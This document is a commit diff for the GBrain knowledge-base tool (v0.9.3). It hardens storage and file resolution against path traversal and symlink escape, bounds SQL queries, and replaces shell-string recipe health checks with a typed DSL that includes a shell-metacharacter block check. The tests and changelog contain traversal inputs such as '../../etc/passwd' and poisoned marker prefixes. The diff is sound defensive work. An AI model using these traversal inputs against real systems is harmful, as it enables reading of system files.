security: fix wave 2 — 5 vulns + typed health check DSL (v0.9.3) (#95)

* security: path traversal, query bounds, marker injection fixes

LocalStorage: contained() method validates all paths stay within storage root.
file-resolver: resolveFile validates filePath within brainRoot, marker prefix
rejects ../, absolute paths, bare '..'. file_list: LIMIT 100 on slug-filtered
branch + FILE_LIST_LIMIT constant for both branches.

Co-Authored-By: Gus <garagon@users.noreply.github.com>

* security: symlink hardening in all file walkers

All 4 walkers in files.ts (collectFiles, findRedirects, findAndClean, scan)
plus init.ts counter now use lstatSync + isSymbolicLink skip. Tests import
production collectFiles instead of reimplementing it. node_modules skipped.
CLI file list and verify queries bounded with LIMIT.

Co-Authored-By: Gus <garagon@users.noreply.github.com>

* feat: typed health check DSL + recipe migration

4 DSL types: http, env_exists, command, any_of. Replaces raw execSync
on recipe YAML. All 7 first-party recipes migrated from shell strings
to typed objects. String health_checks still accepted with deprecation
warning + metachar validation for non-embedded recipes. isUnsafeHealthCheck
blocks shell injection for user-created recipes.

Co-Authored-By: Gus <garagon@users.noreply.github.com>

* chore: bump version and changelog (v0.9.3)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test: E2E test for file_list LIMIT enforcement against real Postgres

Inserts 150 file rows for one slug, verifies file_list returns at most
100 (both slug-filtered and unfiltered branches). Proves the LIMIT
works at the database level, not just in unit tests.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Gus <garagon@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Garry Tan
2026-04-13 07:49:13 -10:00
committed by GitHub
parent adb02b7826
commit f82978d38d
22 changed files with 704 additions and 103 deletions

View File

@@ -2,6 +2,21 @@
All notable changes to GBrain will be documented in this file.
## [0.9.3] - 2026-04-12
### Added
- **Health checks speak a typed language now.** Recipe `health_checks` use a typed DSL (`http`, `env_exists`, `command`, `any_of`) instead of raw shell strings. No more `execSync(untrustedYAML)`. Your agent runs `gbrain integrations doctor` and gets structured results, not shell injection risk. All 7 first-party recipes migrated. String health checks still work (with deprecation warning) for backward compat.
### Fixed
- **Your storage backend can't be tricked into reading `/etc/passwd`.** `LocalStorage` now validates every path stays within the storage root. `../../etc/passwd` gets "Path traversal blocked" instead of your system files. All 6 methods covered (upload, download, delete, exists, list, getUrl).
- **MCP callers can't read arbitrary files via `file_url`.** `resolveFile()` now validates the requested path stays within the brain root before touching the filesystem. Previously, `../../etc/passwd` would read any file the process could access.
- **`.supabase` marker files can't escape their scope.** Marker prefix validation now rejects `../`, absolute paths, and bare `..`. A crafted `.supabase` file in a shared brain repo can't make storage requests outside the intended prefix.
- **File queries can't blow up memory.** The slug-filtered `file_list` MCP operation now has the same `LIMIT 100` as the unfiltered branch. Also fixed the CLI `gbrain files list` and `gbrain files verify` commands.
- **Symlinks in brain directories can't exfiltrate files.** All 4 file walkers in `files.ts` plus the `init.ts` size counter now use `lstatSync` and skip symlinks. Broken symlinks and `node_modules` directories are also skipped.
- **Recipe health checks can't inject shell commands.** Non-embedded (user-created) recipes with shell metacharacters in health_check strings are blocked. First-party recipes are trusted but migrated to the typed DSL.
## [0.9.2] - 2026-04-12
### Fixed

View File

@@ -47,18 +47,8 @@
## P1 (new from v0.7.0)
### Constrained health_check DSL for third-party recipes
**What:** Replace shell command health_checks with a typed DSL: `{type: "env_exists", name: "KEY"}`, `{type: "url_responds", url: "..."}`, `{type: "heartbeat_fresh", max_age: "24h"}`.
**Why:** Shell commands in recipe frontmatter = arbitrary code execution from markdown. Currently trusted because recipes are first-party only. This DSL is the mandatory gate before opening community recipe submissions.
**Pros:** Eliminates RCE risk from third-party recipes. Health checks become machine-parseable.
**Cons:** Less flexible than shell commands for novel checks. Need to define enough check types to cover common cases.
**Context:** From CEO review + Codex outside voice (2026-04-11). User approved shell commands for first-party but explicitly requested constrained DSL before third-party recipes.
**Depends on:** v0.7.0 recipe format (shipped).
### ~~Constrained health_check DSL for third-party recipes~~
**Completed:** v0.9.3 (2026-04-12). Typed DSL with 4 check types (`http`, `env_exists`, `command`, `any_of`). All 7 first-party recipes migrated. String health checks accepted with deprecation warning + metachar validation for non-embedded recipes.
## P2
@@ -73,7 +63,7 @@
**Context:** From CEO review (2026-04-11). User explicitly deferred due to bandwidth constraints. Target v0.9.0.
**Depends on:** Constrained health_check DSL (P1).
**Depends on:** Constrained health_check DSL (P1)**SHIPPED in v0.9.3.**
### Always-on deployment recipes (Fly.io, Railway)
**What:** Alternative deployment recipes for voice-to-brain and future integrations that run on cloud servers instead of local + ngrok.

View File

@@ -1 +1 @@
0.9.2
0.9.3

View File

@@ -1,6 +1,6 @@
{
"name": "gbrain",
"version": "0.9.2",
"version": "0.9.3",
"description": "Postgres-native personal knowledge brain with hybrid RAG search",
"type": "module",
"main": "src/core/index.ts",

View File

@@ -19,7 +19,15 @@ secrets:
description: Google OAuth2 client secret (Option B)
where: https://console.cloud.google.com/apis/credentials — same page as client ID
health_checks:
- "[ -n \"$CLAWVISOR_URL\" ] && curl -sf $CLAWVISOR_URL/health > /dev/null && echo 'ClawVisor: OK' || [ -n \"$GOOGLE_CLIENT_ID\" ] && echo 'Google OAuth: configured' || echo 'No calendar auth configured'"
- type: any_of
label: "Auth provider"
checks:
- type: http
url: "$CLAWVISOR_URL/health"
label: "ClawVisor"
- type: env_exists
name: GOOGLE_CLIENT_ID
label: "Google OAuth"
setup_time: 20 min
cost_estimate: "$0 (both options are free)"
---

View File

@@ -19,7 +19,15 @@ secrets:
description: Google OAuth2 client secret (Option B)
where: https://console.cloud.google.com/apis/credentials — same page as client ID
health_checks:
- "[ -n \"$CLAWVISOR_URL\" ] && curl -sf $CLAWVISOR_URL/health > /dev/null && echo 'ClawVisor: OK' || [ -n \"$GOOGLE_CLIENT_ID\" ] && echo 'Google OAuth: configured' || echo 'No credential gateway configured'"
- type: any_of
label: "Auth provider"
checks:
- type: http
url: "$CLAWVISOR_URL/health"
label: "ClawVisor"
- type: env_exists
name: GOOGLE_CLIENT_ID
label: "Google OAuth"
setup_time: 15 min
cost_estimate: "$0 (both options are free)"
---

View File

@@ -19,7 +19,15 @@ secrets:
description: Google OAuth2 client secret (Option B)
where: https://console.cloud.google.com/apis/credentials — same page as client ID
health_checks:
- "[ -n \"$CLAWVISOR_URL\" ] && curl -sf $CLAWVISOR_URL/health > /dev/null && echo 'ClawVisor: OK' || [ -n \"$GOOGLE_CLIENT_ID\" ] && echo 'Google OAuth: configured' || echo 'No email auth configured'"
- type: any_of
label: "Auth provider"
checks:
- type: http
url: "$CLAWVISOR_URL/health"
label: "ClawVisor"
- type: env_exists
name: GOOGLE_CLIENT_ID
label: "Google OAuth"
setup_time: 20 min
cost_estimate: "$0 (both options are free)"
---

View File

@@ -10,7 +10,14 @@ secrets:
description: Circleback API token for meeting data access
where: https://app.circleback.ai — Settings > API > generate token
health_checks:
- "curl -sf -H \"Authorization: Bearer $CIRCLEBACK_TOKEN\" \"https://app.circleback.ai/api/mcp\" -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"id\":1}' > /dev/null && echo 'Circleback: OK' || echo 'Circleback: FAIL'"
- type: http
url: "https://app.circleback.ai/api/mcp"
method: POST
headers:
Authorization: "Bearer $CIRCLEBACK_TOKEN"
Content-Type: "application/json"
body: '{"jsonrpc":"2.0","method":"tools/list","id":1}'
label: "Circleback API"
setup_time: 15 min
cost_estimate: "$0-17/mo (Circleback free for 10 meetings/mo, Pro $17/mo unlimited)"
---

View File

@@ -10,8 +10,12 @@ secrets:
description: ngrok auth token (Hobby tier recommended for fixed domain)
where: https://dashboard.ngrok.com/get-started/your-authtoken — sign up, then copy your authtoken
health_checks:
- "pgrep -f 'ngrok.*http' > /dev/null && echo 'ngrok: running' || echo 'ngrok: NOT running'"
- "curl -sf http://localhost:4040/api/tunnels > /dev/null && echo 'ngrok API: OK' || echo 'ngrok API: FAIL'"
- type: command
argv: ["pgrep", "-f", "ngrok.*http"]
label: "ngrok process"
- type: http
url: "http://localhost:4040/api/tunnels"
label: "ngrok API"
setup_time: 10 min
cost_estimate: "$8/mo for Hobby tier (fixed domain). Free tier works but URLs change on restart."
---

View File

@@ -16,8 +16,17 @@ secrets:
description: OpenAI API key (needs Realtime API access enabled on your account)
where: https://platform.openai.com/api-keys — click "+ Create new secret key", copy immediately (you can't see it again)
health_checks:
- "curl -sf -u \"$TWILIO_ACCOUNT_SID:$TWILIO_AUTH_TOKEN\" \"https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID.json\" > /dev/null && echo 'Twilio: OK' || echo 'Twilio: FAIL'"
- "curl -sf -H \"Authorization: Bearer $OPENAI_API_KEY\" https://api.openai.com/v1/models > /dev/null && echo 'OpenAI: OK' || echo 'OpenAI: FAIL'"
- type: http
url: "https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID.json"
auth: basic
auth_user: "$TWILIO_ACCOUNT_SID"
auth_pass: "$TWILIO_AUTH_TOKEN"
label: "Twilio API"
- type: http
url: "https://api.openai.com/v1/models"
auth: bearer
auth_token: "$OPENAI_API_KEY"
label: "OpenAI API"
setup_time: 30 min
cost_estimate: "$15-25/mo (Twilio number $1-2 + voice $0.01/min, OpenAI Realtime $0.06/min input + $0.24/min output)"
---

View File

@@ -10,7 +10,11 @@ secrets:
description: X API v2 Bearer token (Basic tier minimum, $200/mo for full archive search)
where: https://developer.x.com/en/portal/dashboard — create a project + app, copy the Bearer Token from "Keys and tokens"
health_checks:
- "curl -sf -H \"Authorization: Bearer $X_BEARER_TOKEN\" \"https://api.x.com/2/users/me\" > /dev/null && echo 'X API: OK' || echo 'X API: FAIL'"
- type: http
url: "https://api.x.com/2/users/me"
auth: bearer
auth_token: "$X_BEARER_TOKEN"
label: "X API"
setup_time: 15 min
cost_estimate: "$0-200/mo (Free tier: 1 app, read-only. Basic: $200/mo for search + higher limits)"
---

View File

@@ -1,4 +1,4 @@
import { readFileSync, readdirSync, statSync, existsSync, writeFileSync, unlinkSync, mkdirSync } from 'fs';
import { readFileSync, readdirSync, statSync, lstatSync, existsSync, writeFileSync, unlinkSync, mkdirSync } from 'fs';
import { join, relative, extname, basename, dirname } from 'path';
import { createHash } from 'crypto';
import type { BrainEngine } from '../core/engine.ts';
@@ -102,7 +102,7 @@ async function listFiles(slug?: string) {
const sql = db.getConnection();
let rows;
if (slug) {
rows = await sql`SELECT * FROM files WHERE page_slug = ${slug} ORDER BY filename`;
rows = await sql`SELECT * FROM files WHERE page_slug = ${slug} ORDER BY filename LIMIT 100`;
} else {
rows = await sql`SELECT * FROM files ORDER BY page_slug, filename LIMIT 100`;
}
@@ -348,7 +348,7 @@ async function syncFiles(dir?: string) {
async function verifyFiles() {
const sql = db.getConnection();
const rows = await sql`SELECT * FROM files ORDER BY storage_path`;
const rows = await sql`SELECT * FROM files ORDER BY storage_path LIMIT 1000`;
if (rows.length === 0) {
console.log('No files to verify.');
@@ -526,7 +526,14 @@ async function restoreFiles(args: string[]) {
for (const entry of readdirSync(d)) {
if (entry.startsWith('.')) continue;
const full = join(d, entry);
if (statSync(full).isDirectory()) findRedirects(full);
let stat;
try {
stat = lstatSync(full);
} catch {
continue; // Broken symlink or permission error
}
if (stat.isSymbolicLink()) continue;
if (stat.isDirectory()) findRedirects(full);
else if (entry.endsWith('.redirect.yaml') || entry.endsWith('.redirect')) redirectFiles.push(full);
}
}
@@ -571,7 +578,14 @@ async function cleanFiles(args: string[]) {
for (const entry of readdirSync(d)) {
if (entry.startsWith('.')) continue;
const full = join(d, entry);
if (statSync(full).isDirectory()) findAndClean(full);
let stat;
try {
stat = lstatSync(full);
} catch {
continue; // Broken symlink or permission error
}
if (stat.isSymbolicLink()) continue;
if (stat.isDirectory()) findAndClean(full);
else if (entry.endsWith('.redirect.yaml') || entry.endsWith('.redirect')) { unlinkSync(full); cleaned++; }
}
}
@@ -590,7 +604,14 @@ async function filesStatus(args: string[]) {
if (entry.startsWith('.') && entry !== '.supabase') continue;
const full = join(d, entry);
if (entry === '.supabase') { mirrored++; continue; }
if (statSync(full).isDirectory()) scan(full);
let stat;
try {
stat = lstatSync(full);
} catch {
continue; // Broken symlink or permission error
}
if (stat.isSymbolicLink()) continue;
if (stat.isDirectory()) scan(full);
else if (entry.endsWith('.redirect.yaml') || entry.endsWith('.redirect')) redirected++;
else if (!entry.endsWith('.md')) local++;
}
@@ -609,15 +630,22 @@ async function filesStatus(args: string[]) {
}
}
function collectFiles(dir: string): string[] {
export function collectFiles(dir: string): string[] {
const files: string[] = [];
function walk(d: string) {
for (const entry of readdirSync(d)) {
if (entry.startsWith('.')) continue;
if (entry === 'node_modules') continue;
const full = join(d, entry);
const stat = statSync(full);
let stat;
try {
stat = lstatSync(full);
} catch {
continue; // Broken symlink or permission error
}
if (stat.isSymbolicLink()) continue;
if (stat.isDirectory()) {
walk(full);

View File

@@ -1,5 +1,5 @@
import { execSync } from 'child_process';
import { readdirSync, statSync } from 'fs';
import { readdirSync, lstatSync } from 'fs';
import { join } from 'path';
import { homedir } from 'os';
import { saveConfig, type GBrainConfig } from '../core/config.ts';
@@ -166,7 +166,11 @@ function countMarkdownFiles(dir: string, maxScan = 1500): number {
if (entry.startsWith('.') || entry === 'node_modules') continue;
const full = join(d, entry);
try {
const stat = statSync(full);
let stat;
try {
stat = lstatSync(full);
} catch { continue; }
if (stat.isSymbolicLink()) continue;
if (stat.isDirectory()) scan(full);
else if (entry.endsWith('.md')) count++;
} catch { /* skip unreadable */ }

View File

@@ -41,7 +41,7 @@ interface RecipeFrontmatter {
category: 'infra' | 'sense' | 'reflex';
requires: string[];
secrets: RecipeSecret[];
health_checks: string[];
health_checks: HealthCheck[];
setup_time: string;
cost_estimate?: string;
}
@@ -50,6 +50,7 @@ interface ParsedRecipe {
frontmatter: RecipeFrontmatter;
body: string;
filename: string;
embedded: boolean;
}
interface HeartbeatEntry {
@@ -61,6 +62,169 @@ interface HeartbeatEntry {
error?: string;
}
// --- Health Check DSL Types ---
interface HttpCheck {
type: 'http';
url: string;
method?: string;
headers?: Record<string, string>;
body?: string;
auth?: 'basic' | 'bearer';
auth_user?: string;
auth_pass?: string;
auth_token?: string;
label?: string;
}
interface EnvExistsCheck {
type: 'env_exists';
name: string;
label?: string;
}
interface CommandCheck {
type: 'command';
argv: string[];
label?: string;
}
interface AnyOfCheck {
type: 'any_of';
label?: string;
checks: HealthCheck[];
}
type HealthCheck = string | HttpCheck | EnvExistsCheck | CommandCheck | AnyOfCheck;
interface CheckResult {
integration: string;
check: string;
status: 'ok' | 'fail' | 'timeout' | 'blocked';
output: string;
}
/**
* Returns true if a string health_check contains shell metacharacters.
* Only applied to user-created (non-embedded) recipes.
*/
export function isUnsafeHealthCheck(check: string): boolean {
return /[;&|`$(){}\\<>\n]/.test(check);
}
/** Expand $VAR references with process.env values */
export function expandVars(s: string): string {
return s.replace(/\$([A-Z_][A-Z0-9_]*)/g, (_, name) => process.env[name] || '');
}
export async function executeHealthCheck(
check: HealthCheck,
integrationId: string,
isEmbedded: boolean,
): Promise<CheckResult> {
const label = typeof check === 'string' ? check : (check as any).label || JSON.stringify(check);
const base = { integration: integrationId, check: label };
// String health checks (deprecated path)
if (typeof check === 'string') {
if (!isEmbedded && isUnsafeHealthCheck(check)) {
return { ...base, status: 'blocked', output: 'Blocked: contains unsafe shell characters. Migrate to typed health_check DSL.' };
}
try {
const output = execSync(check, { timeout: 10000, encoding: 'utf-8', env: process.env }).trim();
if (!isEmbedded) {
console.error(` Warning: string health_check is deprecated. Migrate to typed DSL format.`);
}
return { ...base, status: output.includes('FAIL') ? 'fail' : 'ok', output };
} catch (e: unknown) {
const msg = e instanceof Error ? e.message : String(e);
return { ...base, status: msg.includes('TIMEDOUT') ? 'timeout' : 'fail', output: msg };
}
}
// Typed DSL checks
switch (check.type) {
case 'http': {
try {
const url = expandVars(check.url);
if (!url || url.includes('undefined')) {
return { ...base, status: 'fail', output: `Missing env var in URL: ${check.url}` };
}
const headers: Record<string, string> = {};
if (check.headers) {
for (const [k, v] of Object.entries(check.headers)) {
headers[k] = expandVars(v);
}
}
if (check.auth === 'basic' && check.auth_user && check.auth_pass) {
const user = expandVars(check.auth_user);
const pass = expandVars(check.auth_pass);
headers['Authorization'] = 'Basic ' + Buffer.from(`${user}:${pass}`).toString('base64');
} else if (check.auth === 'bearer' && check.auth_token) {
headers['Authorization'] = 'Bearer ' + expandVars(check.auth_token);
}
const fetchOpts: RequestInit = {
method: check.method || 'GET',
headers,
signal: AbortSignal.timeout(10000),
};
if (check.body) {
fetchOpts.body = expandVars(check.body);
if (!headers['Content-Type']) headers['Content-Type'] = 'application/json';
}
const resp = await fetch(url, fetchOpts);
const ok = resp.status >= 200 && resp.status < 400;
return { ...base, status: ok ? 'ok' : 'fail', output: `${check.label || 'HTTP'}: ${ok ? 'OK' : `HTTP ${resp.status}`}` };
} catch (e: unknown) {
const msg = e instanceof Error ? e.message : String(e);
if (msg.includes('TimeoutError') || msg.includes('abort')) {
return { ...base, status: 'timeout', output: `${check.label || 'HTTP'}: timeout` };
}
return { ...base, status: 'fail', output: `${check.label || 'HTTP'}: ${msg}` };
}
}
case 'env_exists': {
const val = process.env[check.name];
return {
...base,
status: val ? 'ok' : 'fail',
output: `${check.label || check.name}: ${val ? 'set' : 'NOT SET'}`,
};
}
case 'command': {
try {
const { spawnSync } = await import('child_process');
const result = spawnSync(check.argv[0], check.argv.slice(1), {
timeout: 10000,
encoding: 'utf-8',
env: process.env,
});
const ok = result.status === 0;
const output = (result.stdout || '').trim() || (ok ? 'OK' : 'FAIL');
return { ...base, status: ok ? 'ok' : 'fail', output: `${check.label || check.argv[0]}: ${output}` };
} catch (e: unknown) {
const msg = e instanceof Error ? e.message : String(e);
return { ...base, status: 'fail', output: `${check.label || check.argv[0]}: ${msg}` };
}
}
case 'any_of': {
for (const sub of check.checks) {
const result = await executeHealthCheck(sub, integrationId, isEmbedded);
if (result.status === 'ok') {
return { ...base, status: 'ok', output: `${check.label || 'any_of'}: ${result.output}` };
}
}
return { ...base, status: 'fail', output: `${check.label || 'any_of'}: all checks failed` };
}
default:
return { ...base, status: 'fail', output: `Unknown check type: ${(check as any).type}` };
}
}
// --- Recipe Parsing ---
/**
@@ -81,12 +245,13 @@ export function parseRecipe(content: string, filename: string): ParsedRecipe | n
category: data.category || 'sense',
requires: data.requires || [],
secrets: data.secrets || [],
health_checks: data.health_checks || [],
health_checks: (data.health_checks || []) as HealthCheck[],
setup_time: data.setup_time || 'unknown',
cost_estimate: data.cost_estimate,
},
body: body.trim(),
filename,
embedded: false,
};
} catch {
return null;
@@ -127,6 +292,7 @@ function loadAllRecipes(): ParsedRecipe[] {
const content = readFileSync(join(dir, file), 'utf-8');
const recipe = parseRecipe(content, file);
if (recipe) {
recipe.embedded = true;
recipes.push(recipe);
} else {
console.error(`Warning: skipping ${file} (invalid or missing 'id' in frontmatter)`);
@@ -440,7 +606,7 @@ function cmdStatus(args: string[]): void {
console.log('');
}
function cmdDoctor(args: string[]): void {
async function cmdDoctor(args: string[]): Promise<void> {
const jsonMode = args.includes('--json');
const recipes = loadAllRecipes();
const configured = recipes.filter(r => getStatus(r) !== 'available');
@@ -454,37 +620,12 @@ function cmdDoctor(args: string[]): void {
return;
}
interface CheckResult {
integration: string;
check: string;
status: 'ok' | 'fail' | 'timeout';
output: string;
}
const results: CheckResult[] = [];
for (const recipe of configured) {
for (const check of recipe.frontmatter.health_checks) {
try {
const output = execSync(check, {
timeout: 10000,
encoding: 'utf-8',
env: process.env,
}).trim();
results.push({
integration: recipe.frontmatter.id,
check,
status: output.includes('FAIL') ? 'fail' : 'ok',
output,
});
} catch (e: unknown) {
const msg = e instanceof Error ? e.message : String(e);
results.push({
integration: recipe.frontmatter.id,
check,
status: msg.includes('TIMEDOUT') ? 'timeout' : 'fail',
output: msg,
});
}
const result = await executeHealthCheck(check, recipe.frontmatter.id, recipe.embedded);
results.push(result);
}
}
@@ -502,7 +643,7 @@ function cmdDoctor(args: string[]): void {
const allOk = checks.every(c => c.status === 'ok');
console.log(` ${recipe.frontmatter.id}: ${allOk ? 'OK' : 'ISSUES'}`);
for (const c of checks) {
const icon = c.status === 'ok' ? ' ' : c.status === 'timeout' ? ' ' : ' ';
const icon = c.status === 'ok' ? ' \u2713' : c.status === 'timeout' ? ' \u23F1' : ' \u2717';
console.log(`${icon} ${c.output}`);
}
}
@@ -670,7 +811,7 @@ export async function runIntegrations(args: string[]): Promise<void> {
cmdStatus(subArgs);
break;
case 'doctor':
cmdDoctor(subArgs);
await cmdDoctor(subArgs);
break;
case 'stats':
cmdStats(subArgs);

View File

@@ -52,6 +52,14 @@ export async function resolveFile(
brainRoot: string,
storage?: StorageBackend,
): Promise<ResolvedFile> {
// Validate filePath stays within brainRoot (prevents MCP callers from reading arbitrary files)
const { resolve: resolvePath } = await import('path');
const resolvedRoot = resolvePath(brainRoot);
const resolvedFull = resolvePath(brainRoot, filePath);
if (!resolvedFull.startsWith(resolvedRoot + '/') && resolvedFull !== resolvedRoot) {
throw new Error(`Path traversal blocked: ${filePath} resolves outside brain root`);
}
const fullPath = join(brainRoot, filePath);
// 1. Local file exists
@@ -82,7 +90,17 @@ export async function resolveFile(
if (existsSync(markerPath)) {
if (!storage) throw new Error(`Directory mirrored to storage but no storage backend configured: ${filePath}`);
const marker = parseMarker(markerPath);
const storagePath = marker.prefix + filePath.split('/').pop();
// Validate marker.prefix: reject path traversal, absolute paths, bare '..'
if (marker.prefix) {
if (/\.\.[\\/]/.test(marker.prefix) || marker.prefix === '..' || marker.prefix.startsWith('/')) {
throw new Error(`Blocked: .supabase marker prefix contains path traversal: ${marker.prefix}`);
}
}
const filename = filePath.split('/').pop() || '';
if (/\.\.[\\/]/.test(filename) || filename === '..' || filename.startsWith('/')) {
throw new Error(`Blocked: filename contains path traversal: ${filename}`);
}
const storagePath = (marker.prefix || '') + filename;
try {
const data = await storage.download(storagePath);
return { data, source: 'storage' };

View File

@@ -535,6 +535,11 @@ const get_ingest_log: Operation = {
// --- File Operations ---
// Both branches need a LIMIT. Without one, the slug-filtered branch materializes
// every file for that slug — an MCP caller can force unbounded memory consumption
// by targeting a page with many attachments.
const FILE_LIST_LIMIT = 100;
const file_list: Operation = {
name: 'file_list',
description: 'List stored files',
@@ -545,9 +550,9 @@ const file_list: Operation = {
const sql = db.getConnection();
const slug = p.slug as string | undefined;
if (slug) {
return sql`SELECT id, page_slug, filename, storage_path, mime_type, size_bytes, content_hash, created_at FROM files WHERE page_slug = ${slug} ORDER BY filename`;
return sql`SELECT id, page_slug, filename, storage_path, mime_type, size_bytes, content_hash, created_at FROM files WHERE page_slug = ${slug} ORDER BY filename LIMIT ${FILE_LIST_LIMIT}`;
}
return sql`SELECT id, page_slug, filename, storage_path, mime_type, size_bytes, content_hash, created_at FROM files ORDER BY page_slug, filename LIMIT 100`;
return sql`SELECT id, page_slug, filename, storage_path, mime_type, size_bytes, content_hash, created_at FROM files ORDER BY page_slug, filename LIMIT ${FILE_LIST_LIMIT}`;
},
};

View File

@@ -1,5 +1,5 @@
import { readFileSync, writeFileSync, unlinkSync, existsSync, mkdirSync, readdirSync } from 'fs';
import { join, dirname } from 'path';
import { readFileSync, writeFileSync, unlinkSync, existsSync, mkdirSync, readdirSync, realpathSync } from 'fs';
import { join, dirname, resolve } from 'path';
import type { StorageBackend } from '../storage.ts';
/**
@@ -7,33 +7,44 @@ import type { StorageBackend } from '../storage.ts';
* Stores files in a local directory, mimicking S3/Supabase behavior.
*/
export class LocalStorage implements StorageBackend {
private readonly canonicalBase: string;
constructor(private basePath: string) {
mkdirSync(basePath, { recursive: true });
this.canonicalBase = realpathSync(basePath);
}
private contained(path: string): string {
const full = resolve(this.canonicalBase, path);
if (!full.startsWith(this.canonicalBase + '/') && full !== this.canonicalBase) {
throw new Error('Path traversal blocked: ' + path + ' resolves outside storage root');
}
return full;
}
async upload(path: string, data: Buffer, _mime?: string): Promise<void> {
const full = join(this.basePath, path);
const full = this.contained(path);
mkdirSync(dirname(full), { recursive: true });
writeFileSync(full, data);
}
async download(path: string): Promise<Buffer> {
const full = join(this.basePath, path);
const full = this.contained(path);
if (!existsSync(full)) throw new Error(`File not found in storage: ${path}`);
return readFileSync(full);
}
async delete(path: string): Promise<void> {
const full = join(this.basePath, path);
const full = this.contained(path);
if (existsSync(full)) unlinkSync(full);
}
async exists(path: string): Promise<boolean> {
return existsSync(join(this.basePath, path));
return existsSync(this.contained(path));
}
async list(prefix: string): Promise<string[]> {
const dir = join(this.basePath, prefix);
const dir = this.contained(prefix);
if (!existsSync(dir)) return [];
const results: string[] = [];
function walk(d: string, rel: string) {
@@ -51,6 +62,6 @@ export class LocalStorage implements StorageBackend {
}
async getUrl(path: string): Promise<string> {
return `file://${join(this.basePath, path)}`;
return `file://${this.contained(path)}`;
}
}

View File

@@ -458,6 +458,53 @@ describeE2E('E2E: Files', () => {
});
});
// ─────────────────────────────────────────────────────────────────
// Security: Query Bounds
// ─────────────────────────────────────────────────────────────────
describeE2E('E2E: file_list LIMIT enforcement', () => {
beforeAll(async () => {
await setupDB();
});
afterAll(teardownDB);
test('file_list with slug filter respects LIMIT 100', async () => {
const sql = getConn();
const testSlug = 'test-limit-slug';
// Create the parent page first (FK constraint on files.page_slug)
await sql`
INSERT INTO pages (slug, title, type, compiled_truth, frontmatter)
VALUES (${testSlug}, ${'Test Limit Page'}, ${'note'}, ${'body'}, ${'{}'}::jsonb)
ON CONFLICT (slug) DO NOTHING
`;
// Insert 150 file rows for the same slug
for (let i = 0; i < 150; i++) {
await sql`
INSERT INTO files (page_slug, filename, storage_path, mime_type, size_bytes, content_hash, metadata)
VALUES (${testSlug}, ${'file-' + String(i).padStart(3, '0') + '.txt'}, ${testSlug + '/file-' + i + '.txt'}, ${'text/plain'}, ${100}, ${'hash-' + i}, ${'{}'}::jsonb)
ON CONFLICT (storage_path) DO NOTHING
`;
}
// Verify we inserted 150
const count = await sql`SELECT count(*) as cnt FROM files WHERE page_slug = ${testSlug}`;
expect(Number(count[0].cnt)).toBe(150);
// Call file_list with slug — should return at most 100
const files = await callOp('file_list', { slug: testSlug }) as any[];
expect(files.length).toBeLessThanOrEqual(100);
expect(files.length).toBe(100);
});
test('file_list without slug also respects LIMIT 100', async () => {
// The 150 rows from the previous test are still in the DB
const files = await callOp('file_list', {}) as any[];
expect(files.length).toBeLessThanOrEqual(100);
});
});
// ─────────────────────────────────────────────────────────────────
// Idempotency Stress
// ─────────────────────────────────────────────────────────────────

View File

@@ -56,6 +56,46 @@ describe('file-resolver', () => {
expect(resolveFile('people/no-storage.json', brainRoot)).rejects.toThrow('no storage backend');
});
test('blocks resolveFile path traversal at root level', async () => {
await expect(
resolveFile('../../etc/passwd', brainRoot, storage)
).rejects.toThrow('Path traversal blocked');
});
test('blocks .supabase marker with traversal prefix', async () => {
const subDir = join(brainRoot, 'poisoned');
mkdirSync(subDir, { recursive: true });
writeFileSync(join(subDir, '.supabase'),
'synced_at: 2026-04-12\nbucket: brain-files\nprefix: ../../etc/\nfile_count: 1\n'
);
await expect(
resolveFile('poisoned/secret.json', brainRoot, storage)
).rejects.toThrow('marker prefix contains path traversal');
});
test('blocks .supabase marker with absolute path prefix', async () => {
const subDir = join(brainRoot, 'abs');
mkdirSync(subDir, { recursive: true });
writeFileSync(join(subDir, '.supabase'),
'synced_at: 2026-04-12\nbucket: brain-files\nprefix: /etc/\nfile_count: 1\n'
);
await expect(
resolveFile('abs/passwd', brainRoot, storage)
).rejects.toThrow('marker prefix contains path traversal');
});
test('allows .supabase marker with clean prefix', async () => {
const subDir = join(brainRoot, 'media');
mkdirSync(subDir, { recursive: true });
await storage.upload('media/.raw/photo.jpg', Buffer.from('jpeg-data'));
writeFileSync(join(subDir, '.supabase'),
'synced_at: 2026-04-12\nbucket: brain-files\nprefix: media/.raw/\nfile_count: 1\n'
);
const result = await resolveFile('media/photo.jpg', brainRoot, storage);
expect(result.source).toBe('storage');
expect(result.data.toString()).toBe('jpeg-data');
});
});
describe('parseRedirect', () => {

View File

@@ -1,8 +1,10 @@
import { describe, test, expect, beforeAll, afterAll } from 'bun:test';
import { writeFileSync, mkdirSync, rmSync } from 'fs';
import { join } from 'path';
import { writeFileSync, mkdirSync, rmSync, symlinkSync, mkdtempSync } from 'fs';
import { join, basename } from 'path';
import { createHash } from 'crypto';
import { extname } from 'path';
import { tmpdir } from 'os';
import { collectFiles } from '../src/commands/files.ts';
const TMP = join(import.meta.dir, '.tmp-files-test');
@@ -122,31 +124,10 @@ describe('fileHash', () => {
});
});
describe('collectFiles pattern (non-markdown, skip hidden)', () => {
// Reimplementing collectFiles logic to test the pattern
const { readdirSync, statSync } = require('fs');
function collectFiles(dir: string): string[] {
const files: string[] = [];
function walk(d: string) {
for (const entry of readdirSync(d)) {
if (entry.startsWith('.')) continue;
const full = join(d, entry);
const stat = statSync(full);
if (stat.isDirectory()) {
walk(full);
} else if (!entry.endsWith('.md')) {
files.push(full);
}
}
}
walk(dir);
return files.sort();
}
describe('collectFiles (production import)', () => {
test('finds non-markdown files', () => {
const files = collectFiles(TMP);
const basenames = files.map(f => f.split('/').pop());
const basenames = files.map(f => basename(f));
expect(basenames).toContain('photo.jpg');
expect(basenames).toContain('doc.pdf');
expect(basenames).toContain('data.csv');
@@ -175,4 +156,44 @@ describe('collectFiles pattern (non-markdown, skip hidden)', () => {
const sorted = [...files].sort();
expect(files).toEqual(sorted);
});
test('collectFiles skips symlinks', () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-symlink-'));
try {
writeFileSync(join(tmpDir, 'real.txt'), 'content');
